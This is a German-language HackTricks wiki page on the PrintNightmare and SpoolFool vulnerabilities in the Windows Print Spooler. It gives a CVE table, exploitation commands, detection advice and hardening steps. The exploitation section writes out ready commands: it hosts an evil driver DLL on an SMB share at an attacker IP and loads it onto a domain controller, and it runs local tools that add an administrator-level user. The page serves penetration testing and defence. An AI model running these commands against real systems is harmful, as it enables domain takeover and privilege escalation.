PrintNightmare (Windows Print Spooler RCE/LPE)
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
PrintNightmare ist der Sammelbegriff fĂŒr eine Familie von Schwachstellen im Windows Print Spooler-Dienst, die willkĂŒrliche CodeausfĂŒhrung als SYSTEM ermöglichen und, wenn der Spooler ĂŒber RPC erreichbar ist, remote code execution (RCE) auf DomĂ€nencontrollern und Dateiservern erlauben. Die am hĂ€ufigsten ausgenutzten CVEs sind CVE-2021-1675 (zunĂ€chst als LPE klassifiziert) und CVE-2021-34527 (vollstĂ€ndige RCE). Nachfolgende Probleme wie CVE-2021-34481 (âPoint & Printâ) und CVE-2022-21999 (âSpoolFoolâ) beweisen, dass die AngriffsflĂ€che noch lange nicht geschlossen ist.
1. Verwundbare Komponenten & CVEs
| Jahr | CVE | Kurzname | Primitive | Anmerkungen |
|---|---|---|---|---|
| 2021 | CVE-2021-1675 | âPrintNightmare #1â | LPE | Im Juni 2021 CU gepatcht, aber von CVE-2021-34527 umgangen |
| 2021 | CVE-2021-34527 | âPrintNightmareâ | RCE/LPE | AddPrinterDriverEx ermöglicht authentifizierten Benutzern das Laden einer Treiber-DLL von einem Remote-Share |
| 2021 | CVE-2021-34481 | âPoint & Printâ | LPE | Installation von nicht signierten Treibern durch nicht-Admin-Benutzer |
| 2022 | CVE-2022-21999 | âSpoolFoolâ | LPE | WillkĂŒrliche Verzeichniscreation â DLL-Platzierung â funktioniert nach den Patches von 2021 |
Alle missbrauchen eine der MS-RPRN / MS-PAR RPC-Methoden (RpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver) oder Vertrauensbeziehungen innerhalb von Point & Print.
2. Ausnutzungstechniken
2.1 Kompromittierung des Remote-DomÀnencontrollers (CVE-2021-34527)
Ein authentifizierter, aber nicht privilegierter DomĂ€nenbenutzer kann willkĂŒrliche DLLs als NT AUTHORITY\SYSTEM auf einem Remote-Spooler (hĂ€ufig der DC) ausfĂŒhren durch:
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support
# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'
Beliebte PoCs sind CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) und Benjamin Delpys misc::printnightmare / lsa::addsid Module in mimikatz.
2.2 Lokale Privilegieneskalation (alle unterstĂŒtzten Windows, 2021-2024)
Die gleiche API kann lokal aufgerufen werden, um einen Treiber von C:\Windows\System32\spool\drivers\x64\3\ zu laden und SYSTEM-Rechte zu erlangen:
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
2.3 SpoolFool (CVE-2022-21999) â Umgehung der 2021er Fixes
Die 2021er Patches von Microsoft blockierten das Laden von Remote-Treibern, aber hÀrteten die Verzeichnisberechtigungen nicht. SpoolFool missbraucht den SpoolDirectory-Parameter, um ein beliebiges Verzeichnis unter C:\Windows\System32\spool\drivers\ zu erstellen, platziert eine Payload-DLL und zwingt den Spooler, sie zu laden:
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll
# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
Der Exploit funktioniert auf vollstĂ€ndig gepatchten Windows 7 â Windows 11 und Server 2012R2 â 2022 vor den Updates von Februar 2022
3. Erkennung & Jagd
- Ereignisprotokolle â aktivieren Sie die Microsoft-Windows-PrintService/Operational und Admin KanĂ€le und achten Sie auf Ereignis-ID 808 âDer Druckspooler konnte ein Plug-in-Modul nicht ladenâ oder auf RpcAddPrinterDriverEx Nachrichten.
- Sysmon â
Ereignis-ID 7(Bild geladen) oder11/23(Datei schreiben/löschen) innerhalb vonC:\Windows\System32\spool\drivers\*, wenn der ĂŒbergeordnete Prozess spoolsv.exe ist. - Prozessverlauf â Warnungen, wann immer spoolsv.exe
cmd.exe,rundll32.exe, PowerShell oder eine nicht signierte BinÀrdatei startet.
4. Minderung & HĂ€rtung
- Patchen! â Wenden Sie das neueste kumulative Update auf jedem Windows-Host an, der den Druckspooler-Dienst installiert hat.
- Deaktivieren Sie den Spooler, wo er nicht benötigt wird, insbesondere auf DomÀnencontrollern:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
- Blockieren Sie Remoteverbindungen, wĂ€hrend lokale DruckauftrĂ€ge weiterhin erlaubt sind â Gruppenrichtlinie:
Computer Configuration â Administrative Templates â Printers â Allow Print Spooler to accept client connections = Disabled. - EinschrĂ€nkung von Point & Print, sodass nur Administratoren Treiber hinzufĂŒgen können, indem Sie den Registrierungswert festlegen:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
Detaillierte Anleitung in Microsoft KB5005652
5. Verwandte Forschung / Tools
- mimikatz
printnightmareModule - SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
- SpoolFool Exploit & Bericht
- 0patch Mikropatches fĂŒr SpoolFool und andere Spooler-Bugs
Weitere LektĂŒre (extern): ĂberprĂŒfen Sie den Blogbeitrag von 2024 â Understanding PrintNightmare Vulnerability
Referenzen
- Microsoft â KB5005652: Verwalten des neuen Standardverhaltens bei der Installation von Point & Print-Treibern https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872
- Oliver Lyak â SpoolFool: CVE-2022-21999 https://github.com/ly4k/SpoolFool
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


